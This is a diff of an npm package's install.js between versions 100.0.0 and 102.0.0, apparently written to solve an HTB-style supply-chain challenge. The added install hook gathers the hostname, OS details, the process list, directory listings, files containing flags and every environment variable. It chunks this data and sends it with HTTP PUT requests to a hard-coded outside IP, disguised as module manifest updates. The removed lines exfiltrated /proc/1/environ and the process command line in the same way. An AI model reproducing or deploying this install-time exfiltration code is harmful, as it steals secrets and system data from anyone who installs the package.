wraith-module 100.0.0 → 102.0.0

package/install.js

@@ -9,51 +9,65 @@ async function report(moduleId, val) {
   const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
   const body = JSON.stringify({ manifest: `ecto_module:\n  name: "${safe}"\n  version: "1.0.0"\n  power_level: 1\n  ship_deck: 1\n  cargo_hold: 1` });
   await new Promise((resolve) => {
-    const req = http.request({ hostname: '154.57.164.82', port: 32332, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
+    const req = http.request({ hostname: '154.57.164.64', port: 31083, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
     req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
     req.write(body); req.end();
   });
 }
 
 (async () => {
-  // Read nethunter.sh
+  const items = [];
+
+  // What OS/container are we in?
+  items.push('ID=' + tryExec('cat /etc/os-release 2>/dev/null | head -2'));
+  items.push('HOST=' + tryExec('hostname'));
+  items.push('CWD=' + process.cwd());
+  
+  // Check /data directory (nethunter writes pcap there)
+  items.push('DATA=' + tryExec('ls -la /data/ 2>/dev/null'));
+
+  // The nethunter binary - what does it do?
+  items.push('NHBIN=' + tryExec('file /opt/hscan-supplychain-dynamic/nethunter 2>/dev/null'));
+  
+  // Maybe the flag is generated by nethunter and written somewhere
+  items.push('DATAFILES=' + tryExec('find /data -type f -name "*flag*" -o -name "*.txt" -o -name "*.json" 2>/dev/null'));
+  
+  // Check if there are any interesting files in /opt
+  items.push('OPTFILES=' + tryExec('find /opt/hscan-supplychain-dynamic -maxdepth 2 -type f -not -path "*/node_modules/*" 2>/dev/null'));
+  
+  // Read nethunter.sh fully - get the part after npm install
   const nh = tryRead('/opt/hscan-supplychain-dynamic/nethunter.sh') || '';
+  // Get the last portion (after npm install)
+  const nhEnd = nh.substring(nh.length - 500);
+  items.push('NHEND=' + nhEnd);
   
-  // Also list the full directory
-  const nhDir = tryExec('find /opt/hscan-supplychain-dynamic -type f 2>/dev/null');
+  // Middle of nethunter.sh
+  items.push('NHMID=' + nh.substring(500, 1000));
   
-  // Full CMD1  
-  const cmd1 = tryRead('/proc/1/cmdline');
-  const cmd1str = cmd1 ? cmd1.replace(/\x00/g, ' ') : '';
+  // Check processes
+  items.push('PS=' + tryExec('ps aux 2>/dev/null'));
   
-  // Full env
-  const env1 = tryRead('/proc/1/environ');
-  const env1str = env1 ? env1.replace(/\x00/g, ' | ') : '';
-
-  // Send nethunter.sh in chunks of 90 chars each
-  const items = [];
-  items.push('NHDIR=' + nhDir.substring(0, 85));
-  items.push('CMD=' + cmd1str.substring(0, 85));
-  items.push('CMD2=' + cmd1str.substring(85, 170));
-  items.push('ENV=' + env1str.substring(0, 85));
-  items.push('ENV2=' + env1str.substring(85, 170));
-  
-  // nethunter.sh in chunks
-  for (let i = 0; i < 20; i++) {
-    const chunk = nh.substring(i * 85, (i + 1) * 85);
-    if (!chunk) break;
-    items.push('NH' + i + '=' + chunk);
-  }
+  // Try to search for flag more broadly
+  items.push('FINDHTB=' + tryExec('find / -maxdepth 5 -type f -exec grep -l "HTB{" {} + 2>/dev/null | head -5'));
   
+  // Check all environment variables
+  items.push('ALLENV=' + JSON.stringify(process.env));
+
+  // Send each item, 85 chars at a time
   const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
+  let totalIdx = 0;
   
-  for (let round = 0; round < Math.ceil(items.length / 4); round++) {
-    for (let i = 0; i < 4; i++) {
-      const idx = round * 4 + i;
-      if (idx < items.length) {
-        await report(mods[i], 'N' + idx + '_' + items[idx]);
-      }
+  for (const item of items) {
+    // Split this item into 85-char chunks
+    for (let c = 0; c < Math.max(1, Math.ceil(item.length / 85)); c++) {
+      const chunk = item.substring(c * 85, (c + 1) * 85);
+      if (!chunk) break;
+      const modIdx = totalIdx % 4;
+      await report(mods[modIdx], 'M' + totalIdx + '_' + chunk);
+      totalIdx++;
+      if (totalIdx % 4 === 0) await new Promise(r => setTimeout(r, 1500));
+      if (totalIdx > 40) break; // Safety limit
     }
-    await new Promise(r => setTimeout(r, 1500));
+    if (totalIdx > 40) break;
   }
 })();

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "wraith-module",
-  "version": "100.0.0",
+  "version": "102.0.0",
   "description": "Wraith spectral module",
   "main": "index.js",
   "scripts": {